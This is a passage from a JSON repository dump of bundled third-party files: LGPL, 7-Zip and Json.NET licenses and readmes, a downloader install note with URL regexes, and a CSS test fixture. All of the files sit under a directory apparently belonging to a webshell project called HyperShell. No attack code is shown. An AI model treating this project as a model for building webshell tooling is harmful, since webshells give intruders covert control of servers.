HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH\r\nDAMAGES.\r\n\r\n         END OF TERMS AND CONDITIONS\r\n\f\r\n           How to Apply These Terms to Your New Libraries\r\n\r\n  If you develop a new library, and you want it to be of the greatest\r\npossible use to the public, we recommend making it free software that\r\neveryone can redistribute and change.  You can do so by permitting\r\nredistribution under these terms (or, alternatively, under the terms of the\r\nordinary General Public License).\r\n\r\n  To apply these terms, attach the following notices to the library.  It is\r\nsafest to attach them to the start of each source file to most effectively\r\nconvey the exclusion of warranty; and each file should have at least the\r\n\"copyright\" line and a pointer to where the full notice is found.\r\n\r\n    <one line to give the library's name and a brief idea of what it does.>\r\n    Copyright (C) <year>  <name of author>\r\n\r\n    This library is free software; you can redistribute it and/or\r\n    modify it under the terms of the GNU Lesser General Public\r\n    License as published by the Free Software Foundation; either\r\n    version 2.1 of the License, or (at your option) any later version.\r\n\r\n    This library is distributed in the hope that it will be useful,\r\n    but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n    MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\r\n    Lesser General Public License for more details.\r\n\r\n    You should have received a copy of the GNU Lesser General Public\r\n    License along with this library; if not, write to the Free Software\r\n    Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\r\n\r\nAlso add information on how to contact you by electronic and paper mail.\r\n\r\nYou should also get your employer (if you work as a programmer) or your\r\nschool, if any, to sign a \"copyright disclaimer\" for the library, if\r\nnecessary.  Here is a sample; alter the names:\r\n\r\n  Yoyodyne, Inc., hereby disclaims all copyright interest in the\r\n  library `Frob' (a library for tweaking knobs) written by James Random Hacker.\r\n\r\n  <signature of Ty Coon>, 1 April 1990\r\n  Ty Coon, President of Vice\r\n\r\nThat's all there is to it!\r\n\r\n\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Json90r1/Source/Tools/7-zip/license.txt",
    "content": "      7-Zip Command line version\r\n      ~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n      License for use and distribution\r\n      ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\r\n\r\n      7-Zip Copyright (C) 1999-2009 Igor Pavlov.\r\n\r\n      7za.exe is distributed under the GNU LGPL license\r\n\r\n      Notes: \r\n        You can use 7-Zip on any computer, including a computer in a commercial \r\n        organization. You don't need to register or pay for 7-Zip.\r\n\r\n\r\n      GNU LGPL information\r\n      --------------------\r\n\r\n        This library is free software; you can redistribute it and/or\r\n        modify it under the terms of the GNU Lesser General Public\r\n        License as published by the Free Software Foundation; either\r\n        version 2.1 of the License, or (at your option) any later version.\r\n\r\n        This library is distributed in the hope that it will be useful,\r\n        but WITHOUT ANY WARRANTY; without even the implied warranty of\r\n        MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the GNU\r\n        Lesser General Public License for more details.\r\n\r\n        You should have received a copy of the GNU Lesser General Public\r\n        License along with this library; if not, write to the Free Software\r\n        Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA  02111-1307  USA\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Json90r1/Source/Tools/7-zip/readme.txt",
    "content": "7-Zip Command line version 4.65\r\n-------------------------------\r\n\r\n7-Zip is a file archiver with high compression ratio.\r\n7za.exe is a standalone command line version of 7-Zip.\r\n\r\n7-Zip Copyright (C) 1999-2009 Igor Pavlov.\r\n\r\nFeatures of 7za.exe: \r\n  - High compression ratio in new 7z format\r\n  - Supported formats:\r\n      - Packing / unpacking: 7z, ZIP, GZIP, BZIP2 and TAR \r\n      - Unpacking only: Z\r\n  - Highest compression ratio for ZIP and GZIP formats.\r\n  - Fast compression and decompression\r\n  - Strong AES-256 encryption in 7z and ZIP formats.\r\n\r\n7za.exe is a free software distributed under the GNU LGPL.\r\nRead license.txt for more information.\r\n\r\nSource code of 7za.exe and 7-Zip can be found at\r\nhttp://www.7-zip.org/\r\n\r\n7za.exe can work in Windows 95/98/ME/NT/2000/XP/2003/Vista.\r\n\r\nThere is also port of 7za.exe for POSIX systems like Unix (Linux, Solaris, OpenBSD, \r\nFreeBSD, Cygwin, AIX, ...), MacOS X and BeOS:\r\n\r\nhttp://p7zip.sourceforge.net/\r\n\r\n\r\n  This distributive packet contains the following files:\r\n\r\n  7za.exe       - 7-Zip standalone command line version.\r\n  readme.txt    - This file.\r\n  copying.txt   - GNU LGPL license.\r\n  license.txt   - License information.\r\n  7-zip.chm     - User's Manual in HTML Help format.\r\n\r\n\r\n---\r\nEnd of document\r\n"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Json90r1/license.txt",
    "content": "Copyright (c) 2007 James Newton-King\r\n\r\nPermission is hereby granted, free of charge, to any person obtaining a copy of this\r\nsoftware and associated documentation files (the \"Software\"), to deal in the Software\r\nwithout restriction, including without limitation the rights to use, copy, modify,\r\nmerge, publish, distribute, sublicense, and/or sell copies of the Software, and to\r\npermit persons to whom the Software is furnished to do so, subject to the following\r\nconditions:\r\n\r\nThe above copyright notice and this permission notice shall be included in all copies\r\nor substantial portions of the Software.\r\n\r\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\r\nINCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\r\nPARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\r\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF\r\nCONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE\r\nOR THE USE OR OTHER DEALINGS IN THE SOFTWARE."
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Json90r1/readme.txt",
    "content": "Json.NET\r\n\r\nhttp://www.newtonsoft.com/json\r\nhttps://github.com/JamesNK/Newtonsoft.Json\r\n\r\n\r\nDescription:\r\n\r\nJson.NET is a popular high-performance JSON framework for .NET\r\n\r\n-Flexible JSON serializer for converting between .NET objects and JSON\r\n-LINQ to JSON for manually reading and writing JSON\r\n-High performance, faster than .NET's built-in JSON serializers\r\n-Write indented, easy to read JSON\r\n-Convert JSON to and from XML\r\n-Supports .NET 2, .NET 3.5, .NET 4, .NET 4.5, Silverlight, Windows Phone and Windows 8 Store\r\n\r\n\r\nDocumentation:\r\n\r\nhttp://www.newtonsoft.com/json/help/\r\n\r\n\r\nVersions:\r\n\r\nJson.NET has different libraries for the various .NET Framework versions.\r\n\r\n-Net45:\r\n  .NET latest (4.5)\r\n\r\n-Net40:\r\n  .NET 4.0\r\n\r\n-Net35:\r\n  .NET 3.5\r\n\r\n-Net20:\r\n  .NET 2.0, Unity\r\n\r\n-Portable45:\r\n  .NET 4.5, Windows Phone 8, Windows 8 Store, .NET Core\r\n\r\n-Portable40:\r\n  .NET 4.0, Windows Phone 8, Windows 8 Store, Silverlight 5, MonoTouch, MonoDroid\r\n\r\n\r\nNotes:\r\n\r\nFor a Compact Framework 3.5 and Silverlight 3.0 builds download Json.NET 3.5\r\nFor a Silverlight 4.0 and Windows Phone 7 builds download Json.NET 5"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/MyDownloader/src/MyDownloader.IEPlugin/READ-ME.txt",
    "content": "To install MyDownloader toolbar:\r\n\r\n1) Edit 'register.reg' setting the correct MyDownloader filename \r\n2) Run register.reg.\r\n3) Run register.bat inside Visual Studio command prompt."
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/MyDownloader/src/MyDownloader.IEPlugin/VideoSitesURLPatterns.txt",
    "content": "(?:[Bb][Rr][Ee][Aa][Kk]\\.[Cc][Oo][Mm]/)(\\w[\\w|-]*)\r\n(?:[Vv][Ii][Dd][Ee][Oo]\\.[Gg][Oo][Oo][Gg][Ll][Ee]\\.[Cc][Oo][Mm]/videoplay\\?docid=)-?(\\w[\\w|-]*)\r\n(?:[Mm][Ee][Ta][Aa][Cc][Aa][Ff][Ee]\\.[Cc][Oo][Mm]/watch/)(\\w[\\w|-]*)/(\\w[\\w|-]*)\r\n(?:[Mm][Ee][Dd][Ii][Aa]\\.[Pp][Uu][Tt][Ff][Ii][Ll][Ee]\\.[Cc][Oo][Mm]/)(\\w[\\w|-]*)\r\n(?:[Yy][Oo][Uu][Tt][Uu][Bb][Ee]\\.[Cc][Oo][Mm]/watch\\?v=)(\\w[\\w|-]*)"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Newtonsoft.Json-9.0.1/Doc/license.txt",
    "content": "Copyright (c) 2007 James Newton-King\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this\nsoftware and associated documentation files (the \"Software\"), to deal in the Software\nwithout restriction, including without limitation the rights to use, copy, modify,\nmerge, publish, distribute, sublicense, and/or sell copies of the Software, and to\npermit persons to whom the Software is furnished to do so, subject to the following\nconditions:\n\nThe above copyright notice and this permission notice shall be included in all copies\nor substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED,\nINCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A\nPARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT\nHOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF\nCONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE\nOR THE USE OR OTHER DEALINGS IN THE SOFTWARE."
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Newtonsoft.Json-9.0.1/Doc/readme.txt",
    "content": "Json.NET\n\nhttp://www.newtonsoft.com/json\nhttps://github.com/JamesNK/Newtonsoft.Json\n\n\nDescription:\n\nJson.NET is a popular high-performance JSON framework for .NET\n\n-Flexible JSON serializer for converting between .NET objects and JSON\n-LINQ to JSON for manually reading and writing JSON\n-High performance, faster than .NET's built-in JSON serializers\n-Write indented, easy to read JSON\n-Convert JSON to and from XML\n-Supports .NET 2, .NET 3.5, .NET 4, .NET 4.5, Silverlight, Windows Phone and Windows 8 Store\n\n\nDocumentation:\n\nhttp://www.newtonsoft.com/json/help/\n\n\nVersions:\n\nJson.NET has different libraries for the various .NET Framework versions.\n\n-Net45:\n  .NET latest (4.5)\n\n-Net40:\n  .NET 4.0\n\n-Net35:\n  .NET 3.5\n\n-Net20:\n  .NET 2.0, Unity\n\n-Portable45:\n  .NET 4.5, Windows Phone 8, Windows 8 Store, .NET Core\n\n-Portable40:\n  .NET 4.0, Windows Phone 8, Windows 8 Store, Silverlight 5, MonoTouch, MonoDroid\n\n\nNotes:\n\nFor a Compact Framework 3.5 and Silverlight 3.0 builds download Json.NET 3.5\nFor a Silverlight 4.0 and Windows Phone 7 builds download Json.NET 5"
  },
  {
    "path": "Webshells_and_Panel/HyperShell/Libraries/Newtonsoft.Json-9.0.1/Src/Newtonsoft.Json.Tests/PoisonText.txt",
    "content": "\n.foot A:visited\n{\n\tcolor: #000;\n}\n.topmenu li,.nav_account li\n{\n\tfloat: left;\n\tfont-size: 12px;\n\tlist-style-type: none;\n\tpadding: 5px 2px;\n}\n.tabLink,.tabLeft a,.tabLeft a:hover,.tabLeft a:visited\n{\n\tcolor: #fff;\n\tfont-size: 13px;\n\ttext-decoration: none;\n}\n.hidden,.none\n{\n\tdisplay: none;\n}\n.secondaryHeader\n{\n\tbackground: #3B5998 url(images/2009/space_header_bg.gif);\n\tcolor: #3B5998;\n\theight: 42px;\n\tmargin: 0 auto;\n\tpadding: 0 0px;\n\twidth: 990px;\n}\n.secondaryHeader A\n{\n\tCOLOR: #fff;\n\tTEXT-DECORATION: none;\n}\n.secondaryHeader A:visited\n{\n\tCOLOR: #fff;\n\tTEXT-DECORATION: none;\n}\n.secondaryHeader A:hover\n{\n\tCOLOR: #c00;\n\tTEXT-DECORATION: underline;\n}\n.secondaryHeader A:active\n{\n\tCOLOR: #c00;\n\tTEXT-DECORATION: underline;\n}\n.sHBorder\n{\n\tOVERFLOW: hidden;\n\tPADDING-BOTTOM: 0px;\n\tPADDING-LEFT: 12px;\n\tPADDING-RIGHT: 10px;\n\tPADDING-TOP: 0px;\n\tZOOM: 1;\n}\n.sHLogo\n{\n\tFLOAT: left;\n\tHEIGHT: 42px;\n\tLINE-HEIGHT: 42px;\n\tmargin: 0 5px 0 0;\n\tOVERFLOW: hidden;\n}\n.sHLogo SPAN\n{\n\tDISPLAY: block;\n\tFLOAT: left;\n\tFONT-FAMILY: Arial;\n\tHEIGHT: 42px;\n\toverflow: hidden;\n\tPADDING-RIGHT: 12px;\n}\n.sHLogo SPAN IMG\n{\n}\n.sHLinks\n{\n\tFLOAT: right;\n\tLINE-HEIGHT: 42px;\n}\n.sHBorder H1\n{\n\tFLOAT: left;\n\tfont-size: 12px;\n\tfont-weight: 400;\n\tmargin: 0;\n\tpadding: 0;\n}\nTABLE,TD,TR,TH\n{\n\tfont-size: 12px;\n}\n.newsbar\n{\n\tdisplay: block; \n\tbackground: transparent url(css/home/newsbar2.gif) repeat-x; \n\tpadding: 3px 0px; \n\tcolor: #000;\n\theight: 28px;\n\ttext-align: center;\n\ttext-decoration: none;\n}\n.newsbar .title\n{\n\tcolor: #333333;\n\tfont: 16px/26px ����;\n\ttext-align: center;\n\ttext-decoration: none;\n}\n.newsbar .title\n{\n\tcolor: #333333;\n\tfont: 16px/26px ����;\n\ttext-align: center;\n\ttext-decoration: none;\n}\n.newsbar .more\n{\n\n\tcolor: #172444;\n\tcursor: hand;\n\tfont-size: 12px;\n\tmarging: 1px;\n\tpadding: 1px;\n\ttext-align: center;\n\ttext-decoration: none;\n\n}\n.newsbar .more a\n{\n\tcolor: #990000;\n\ttext-decoration: none;\n}\n.newsbar .more a:hover\n{\n\tcolor: #2D5C3A;\n\ttext-decoration: underline;\n}\n.clearfix\n{\n\tclear: both;\n\tdisplay: block;\n}\n#boxcontent\n{\n\tclear: both;\n\tfont-size: 12px;\n\tmargin: 0 auto;\n\tmargin-bottom: 9px;\n\toverflow: hidden;\n}\n.threadbox\n{\n\tborder: 1px solid #739B6A;\n}\n\n\n.threadboxMore\n{\nbackground-image: url(/css/2010/podbottom_220.gif);\t\n\tfloat: left;\n\theight: 24px;\n\tmargin:0 auto;\n\twidth: 218px;\n\ttext-align: right;\n}\n.threadboxMore a { \n\ttext-decoration: none;\n\tbackground: transparent url(/css/2010/carrot_s.gif) no-repeat;\n\tbackground-position: 0 5px;\n\tcolor: #000066;\n\tpadding: 2px 10px 0 10px;\n\tposition: relative;\n\ttop: 4px;\n\tfloat: right;\n}\n.threadboxMore a:hover { color: red; text-decoration: underline; }\n\n\n.tbtn_l li\n{\n\tbackground-image: url('http://www.backchina.com/css/home/2010/title_bg1.jpg');\n\tbackground-repeat: repeat-x;\n\tborder-bottom: #739B6A 1px solid;\n\tborder-left-color: #739B6A;\n\tborder-left-width: 1px;\n\tborder-right: #739B6A 1px solid;\n\tborder-top-color: #739B6A;\n\tborder-top-width: 1px;\n\tcolor: #049;\n\tcursor: pointer;\n\tdisplay: block;\n\tfloat: left;\n\tfont-size: 13px;\n\theight: 25px;\n\tline-height: 25px;\n\ttext-align: center;\n\ttext-decoration: none;\n\ttext-indent: 1px;\n}\n.threadbox_pink\n{\n\tborder: 1px solid #EAA;\n}\n.threadbox_pink .tbtn_l li\n{\n\tbackground-image: url('http://www.backchina.com/css/home/2010/title_bg_r.gif');\n\tbackground-repeat: repeat-x;\n\tborder-bottom: #EAA 1px solid;\n\tborder-left-color: #EAA;\n\tborder-left-width: 1px;\n\tborder-right: #EAA 1px solid;\n\tborder-top-color: #EAA;\n\tcolor: #C00;\n}\n.threadbox_pink .tbtn_r\n{\n\tbackground-image: url('http://www.backchina.com/css/home/2010/title_bg_r.gif');\n\tbackground-repeat: repeat-x;\n\tborder-bottom: #EAA 1px solid;\n\tcolor: #C00;\n}\n.threadbox_pink .tbtn_l a:link,.threadbox_pink .tbtn_r a:link,.threadbox_pink .tbtn a:visited,.threadbox_pink .tbtn_r a:visited,.threadbox_pink .tbtn a:hover,.threadbox_pink .tbtn_r a:hover\n{\n\tcolor: #C00;\n}\n.tbtn_l li.curr\n{\n\tbackground: #fff;\n\tborder-bottom-color: #fff;\n\tcursor: default;\n\tfont-weight: 700;\n}\n.tbtn_l li.active\n{\n\tbackground: #fff;\n\tborder-bottom-color: #fff;\n\tcursor: default;\n\tfont-weight: 700;\n}\n.tbtn_r\n{\n\tbackground-image: url('http://www.backchina.com/css/home/2010/title_bg1.jpg');\n\tbackground-repeat: repeat-x;\n\tborder-bottom: #739B6A 1px solid;\n\tcolor: #049;\n\tfloat: left;\n\theight: 25px;\n\tline-height: 25px;\n\ttext-align: right;\n}\n.tbcontent\n{\n\tfloat: left;\n\tfont-size: 13px;\n\toverflow: hidden;\n\twidth: 100%;\t\t\n}\n.tbcontent LI\n{\n\tclear: both;\n\theight: 26px;\n\twidth: 100%;\t\n\tline-height: 26px;\n\tlist-style-type: none;\n\toverflow: hidden;\n\ttext-align: left;\n\ttext-overflow: ellipsis;\n\twhite-space: nowrap;\n\n}\n\n\n.tbcontent LI .fnav\n{\n\tcolor: #00a;\n\tpadding-right:3px;\n}\n\n.tbcontent LI A:link\n{\n\tcolor: #00a;\n\n}\n.tbcontent LI A:hover\n{\n\tcolor: red;\ntext-decoration: underline;\n}\n.tbcontent .updated\n{\n\tcolor: red;\n\tfont-size: 11px;\n\tmargin-left: 3px;\n\tvertical-align: super;\n}\n.hltab\n{\n\tborder-bottom-color: #739B6A;\n\tborder-bottom-style: solid;\n\tborder-bottom-width: 1px;\n\theight: 21px;\n\tmargin: 0 8px;\n}\n.tit1\n{\n\tfloat: left;\n\tline-height: 20px;\n\tmargin-left: 3px;\n}\n.shadowline\n{\n\tborder-bottom-color: #FFF;\n\tborder-top-color: #C8DCEC;\n\tborder-width: 1px 0;\n\tclear: both;\n\theight: 1px;\n\tmargin: 0 auto;\n\tpadding-left: 12px;\n\twidth: 100%;\n}\n\n.micon\n{\n\tfloat: left;\n\theight: 19px;\n\tmargin-left: 5px;\n\tmargin-right: 0px;\n\tmargin-top: 4px;\n\toutline: none;\n\tpadding-right: 1px;\n\twidth: 19px;\n}\n.blogguideHeader\n{\n\tbackground: #3B5998 url(images/2011/bogguide_bg.gif);\n\tcolor: #3B5998;\n\theight: 40px;\n\tmargin: 0 auto;\n\tpadding: 0 0px;\n\twidth: 302px;\n}\n.bbsguideHeader\n{\n\tbackground: #3B5998 url(images/2011/bbsguide_bg.gif);\n\tcolor: #3B5998;\n\theight: 40px;\n\tmargin: 0 auto;\n\tpadding: 0 0px;\n\twidth: 302px;\n}\n.clubguideHeader\n{\n\tbackground: #3B5998 url(images/2011/clubguide_bg.gif);\n\tcolor: #3B5998;\n\theight: 40px;\n\tmargin: 0 auto;\n\tpadding: 0 0px;\n\twidth: 302px;\n}\n.infoguideHeader\n{\n\tbackground: #3B5998 url(images/2011/infoguide_bg.gif);\n\tcolor: #3B5998;\n\tfloat: right;\n\theight: 40px;\n\tmargin: 0 auto;\n\tpadding: 0 0px;\n\twidth: 226px;\n}\n.bloggerguideHeader\n{\n\tbackground: #3B5998 url(images/2011/bloggerguide_bg.gif);\n\tcolor: #3B5998;\n\tfloat: right;\n\theight: 40px;\n\tmargin: 0 auto;\n\tpadding: 0 0px;\n\twidth: 226px;\n}\n.groupguideHeader\n{\n\tbackground: #3B5998 url(images/2011/groupguide_bg.gif);\n\tcolor: #3B5998;\n\theight: 40px;\n\tmargin: 0 auto;\n\tpadding: 0 0px;\n\twidth: 302px;\n}\n.blogguideBorder\n{\n\tOVERFLOW: hidden;\n\tPADDING-BOTTOM: 0px;\n\tPADDING-LEFT: 12px;\n\tPADDING-RIGHT: 10px;\n\tPADDING-TOP: 0px;\n\tZOOM: 1;\n}\n.blogguideLogo\n{\n\tFLOAT: left;\n\tHEIGHT: 40px;\n\tLINE-HEIGHT: 42px;\n\tmargin: 2px 2px 0 0;\n\tOVERFLOW: hidden;\n}\n.blogguideLogo SPAN\n{\n\tDISPLAY: block;\n\tFLOAT: left;\n\tFONT-FAMILY: Arial;\n\tHEIGHT: 40px;\n\toverflow: hidden;\n\tPADDING-RIGHT: 12px;\n}\n.blogguideMiddle\n{\n\tborder-left: 1px solid #819ECE;\n\tborder-right: 1px solid #819ECE;\n\tFLOAT: left;\n\tmargin: 0 auto;\n\twidth: 300px;\n}\n.blogguideMiddle .blogline0 {\nbackground:#E4EBE3;padding-top:2px; padding-bottom:2px;\n}\n.allblogguide\n{\n\tclear: both;\n\tfont-family: ����,SimSun;\n\tfont-size: 13px;\n\tline-height: 120%;\n\toverflow: hidden;\n\tpadding: 0;\n\t\twidth:100%\n}\n.allblogguide .updated\n{\n\tcolor: red;\n\tfont-size: 12px;\n\tvertical-align: super;\n}\n.allblogguide UL\n{\n\tBACKGROUND: #BFD2EE url(css/2010/gsprite_pg.png) repeat-x;\n\tborder-bottom: 0px solid #ccc;\n\tpadding: 0;\n}\n.allblogguide .bloggerline0 {\nbackground:#E4EBE3;padding-top:2px; padding-bottom:2px;\n}\n.allblogguide LI\n{\n\tbackground: url(/css/2010/newli.gif) left no-repeat;\n\tclear: both;\n\tcolor: #696969;\n\tfont-size: 13px;\n\tline-height: 24px;\n\tlist-style-type: none;\n\tmargin-left: 5px;\n\tmargin-right: 5px;\n\toverflow: hidden;\n\tpadding-left: 15px;\n\tpadding-right: 10px;\t\n\ttext-align: left;\n\ttext-overflow: ellipsis;\n\twhite-space: nowrap;\n}\n.allblogguide LI a\n{\n\ttext-decoration: none;\n}\n.allblogguide .line0 {\nbackground:#E4EBE3;padding-top:2px; padding-bottom:2px;\n}\n.allblogguide LI .new\n{\n\tbackground: url(/images/havenew.gif) no-repeat right top;\n\tcolor: blue;\n\tpadding-right: 25px;\n}\n.allblogguide LI a:hover\n{\n\ttext-decoration: underline;\n}\n.allblogguide LI .more\n{\n\tfont-size: 12px;\n\tposition: absolute;\n\tright: 10px;\n\ttext-decoration: none;\n}\n.allblogguide LI SPAN\n{\n\tcolor: #1f3a87;\n\tfont-size: 12px;\n\tline-height: 19px;\n}\n.allblogguide LI SPAN A:hover\n{\n\tcolor: red;\n\tfont-size: 14px;\n\ttext-decoration: underline;\n}\n.allblogguide LI A.newsad:visited\n{\n\tcolor: #00f;\n\ttext-decoration: none;\n}\n.blogguideBottomMore\n{\nbackground-image: url(/css/2010/podbottom.gif);\t\n\tfloat: left;\n\theight: 32px;\n\twidth: 302px;\n\ttext-align: right;\n}\n.blogguideBottomMore a { \n\ttext-decoration: none;\n\tbackground: transparent url(/css/2010/carrot_s.gif) no-repeat;\n\tbackground-position: 0 9px;\n\tcolor: #0000FF;\n\tpadding: 5px 10px 0 10px;\n\tposition: relative;\n\ttop: 4px;\n\tfloat: right;\n}\n.blogguideBottomMore a:hover { color: red; text-decoration: underline; }\n\n.blogguideBottom\n{\n\tbackground: url(images/2011/bogguide_bot.gif) no-repeat;\n\tfloat: left;\n\theight: 7px;\n\tmargin: 0 auto;\n\twidth: 302px;\n}\n\n.rightguideBottom\n{\n\tbackground: url(images/2011/rightguide_bot.gif) no-repeat;\n\tfloat: left;\n\theight: 7px;\n\tmargin: 0 auto;\n\twidth: 226px;\n}\n.colLnavbar\n{\n\tborder-bottom: 1px solid #006633;\n\theight: 27px;\n\tmargin-left: 1px;\n\tpadding-left: 5px;\n\tposition: relative;\n\twidth: 290px;\n\tz-index: 2;\n}\n.colLnavbar h3.tj\n{\n\t_bottom: -1px;\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 -38px;\n\tcolor: green;\n\tfloat: left;\n\tfont: bold 14px/27px \"����\";\n\theight: 28px;\n\tposition: relative;\n\ttext-align: center;\n\twidth: 85px;\n}\n.colMnavbar\n{\n\tborder-bottom: 1px solid #006633;\n\theight: 27px;\n\tmargin-left: 3px;\n\tpadding-left: 9px;\n\tposition: relative;\n\twidth: 385px;\n\tz-index: 2;\n}\n.colMnavbar h3.tj\n{\n\t_bottom: -1px;\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 -38px;\n\tcolor: green;\n\tfloat: left;\n\tfont: bold 14px/27px \"����\";\n\theight: 28px;\n\tposition: relative;\n\ttext-align: center;\n\twidth: 85px;\n}\n.colRnavbar\n{\n\tborder-bottom: 1px solid #006633;\n\theight: 23px;\n\tmargin-bottom: 5px;\n\tmargin-left: 0px;\n\tmargin-top: 0px;\n\tpadding-left: 8px;\n\tposition: relative;\n\twidth: 210px;\n\tz-index: 2;\n}\n.colRnavbar h3.tj\n{\n\t_bottom: -1px;\n\tbackground: url(/css/2010/sprites1.png) no-repeat -84px -38px;\n\tcolor: green;\n\tfloat: left;\n\tfont: bold 13px/25px \"����\";\n\theight: 24px;\n\tposition: relative;\n\ttext-align: center;\n\twidth: 70px;\n}\n\n.colNav\n{\n\t_bottom: -1px;\n\tfloat: left;\n\theight: 27px;\n\tposition: relative;\n\twidth: 223px;\n}\n.colNav li\n{\n\tfloat: left;\n\theight: 27px;\n\tlist-style-type: none;\n\tposition: relative;\n}\n.colNav li a\n{\n\tdisplay: block;\n\theight: 100%;\n\ttext-align: center;\n\twidth: 100%;\n}\n.colNav li a:hover\n{\n\ttext-decoration: none;\n}\n.colNav li.on1\n{\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 -38px;\n\theight: 28px;\n\twidth: 85px;\n}\n.colNav li.on2\n{\n\tbackground: url(/css/2010/sprites1.png) no-repeat -85px -38px;\n\theight: 28px;\n\twidth: 69px;\n}\n.colNav li.on3\n{\n\tbackground: url(/css/2010/sprites1.png) no-repeat -154px -38px;\n\theight: 28px;\n\twidth: 69px;\n}\n.colNav li.on1 a , .colNav li.on2 a , .colNav li.on3 a\n{\n\tcolor: green;\n\tfont: bold 14px/27px \"����\";\n\ttext-decoration: none;\n}\n.colNav li.onno1\n{\n\tbackground: url(/css/2010/sprites1.png) no-repeat 0 0;\n\theight: 27px;\n\twidth: 85px;\n}\n.colNav li.onno2\n{\n\tbackground: url(/css/2010/sprites1.png) no-repeat -85px 0;\n\theight: 27px;\n\twidth: 69px;\n}\n.colNav li.onno3\n{\n\tbackground: url(/css/2010/sprites1.png) no-repeat -154px 0;\n\theight: 27px;\n\twidth: 69px;\n}\n.colNav li.onno1 a , .colNav li.onno2 a , .colNav li.onno3 a\n{\n\tcolor: #0080c4;\n\tfont: bold 14px/27px \"����\";\n\ttext-decoration: none;\n}\n.colLnavbar a.more\n{\n\tcolor: blue;\n\tfloat: left;\n\tline-height: 14px;\n\tmargin-left: 10px;\n\tmargin-top: 8px;\n}\n.colLnavbar a.more:hover\n{\n\tcolor: blue;\n}\n.colLnavbar span.memo\n{\n\tcolor: blue;\n\tfloat: right;\n\theight: 20px;\n\tline-height: 20px;\n\tmargin-top: 5px;\n\tpadding-left: 3px;\n\ttext-align: left;\n}\n.colLnavbar span.memo a\n{\n\tcolor: blue;\n\tdisplay: block;\n\tfloat: right;\n\tline-height: 18px;\n\tmargin-right: 5px;\n\ttext-decoration: none;\n}\n.colLnavbar span.memo a:hover\n{\n\tcolor: red;\n}\n.colRnavbar span.memo\n{\n\tcolor: blue;\n\tfloat: right;\n\theight: 20px;\n\tline-height: 20px;\n\tmargin-top: 5px;\n\tpadding-left: 3px;\n\ttext-align: left;\n}\n.colRnavbar span.memo a\n{\n\tcolor: blue;\n\tdisplay: block;\n\tfloat: right;\n\tline-height: 18px;\n\tmargin-right: 5px;\n\ttext-decoration: none;\n}\n.colRnavbar span.memo a:hover\n{\n\tcolor: red;\n}\n.colMnavbar span.memo\n{\n\tcolor: blue;\n\tfloat: right;\n\theight: 20px;\n\tline-height: 20px;\n\tmargin-top: 5px;\n\tpadding-left: 3px;\n\ttext-align: left;\n}\n.colMnavbar span.memo a\n{\n\tcolor: blue;\n\tdisplay: block;\n\tfloat: right;\n\tline-height: 18px;\n\tmargin-right: 5px;\n\ttext-decoration: none;\n}\n.colMnavbar span.memo a:hover\n{\n\tcolor: red;\n}\n\n.breakline\n{\n\tclear: both;\n\theight:6px;\n\tline-height:6px;\n\tmargin:6px auto;\n\twidth: 100%;\n\tbackground: url(images/2009/shadowline.gif) no-repeat right;\n\n}\n.breakline2\n{\n\tclear: both;\n\theight:6px;\n\tline-height:6px;\n\tmargin:6px auto;\n\twidth: 100%;\n\tbackground: url(images/2009/shadowline2.gif) no-repeat right;\n\n}\n\n.sbreakline\n{\n\tclear: both;\n\theight:2px;\n\tline-height:2px;\n\tmargin:2px auto;\n\twidth: 100%;\n\tbackground: url(images/2009/sshadowline.gif) no-repeat right;\n}\n#bs-footer {\nheight: 32px;\nwidth: 300px;\nbackground-image: url(/css/2010/podbottom.gif);\ntext-align: right;\nmargin-bottom: 10px;\n}\n#bs-footer a { \n\ttext-decoration: none;\n\tbackground: transparent url(/css/2010/carrot_s.gif) no-repeat;\n\tbackground-position: 0 9px;\n\tcolor: #5a7d56;\n\tpadding: 5px 10px 0 10px;\n\tposition: relative;\n\ttop: 4px;\n\tfloat: right;\n}\n#bs-footer a:hover { text-decoration: underline; }\n#bs-book-link { display: inline;}\n.moreinfo{float:right; height:23px; line-height:23px; padding-right:10px;}\n.moreinfo a{ background:url(/css/2010/moreinfo.gif) no-repeat; width:50px; height:23px; display:block;}\n.moreinfol{float:right; height:23px; line-height:23px; padding-top:5px; padding-right:30px;}\n.moreinfol a{ background:url(/css/2010/moreinfo.gif) no-repeat; padding-top:5px; width:50px; height:23px; display:block;}\n\n/* 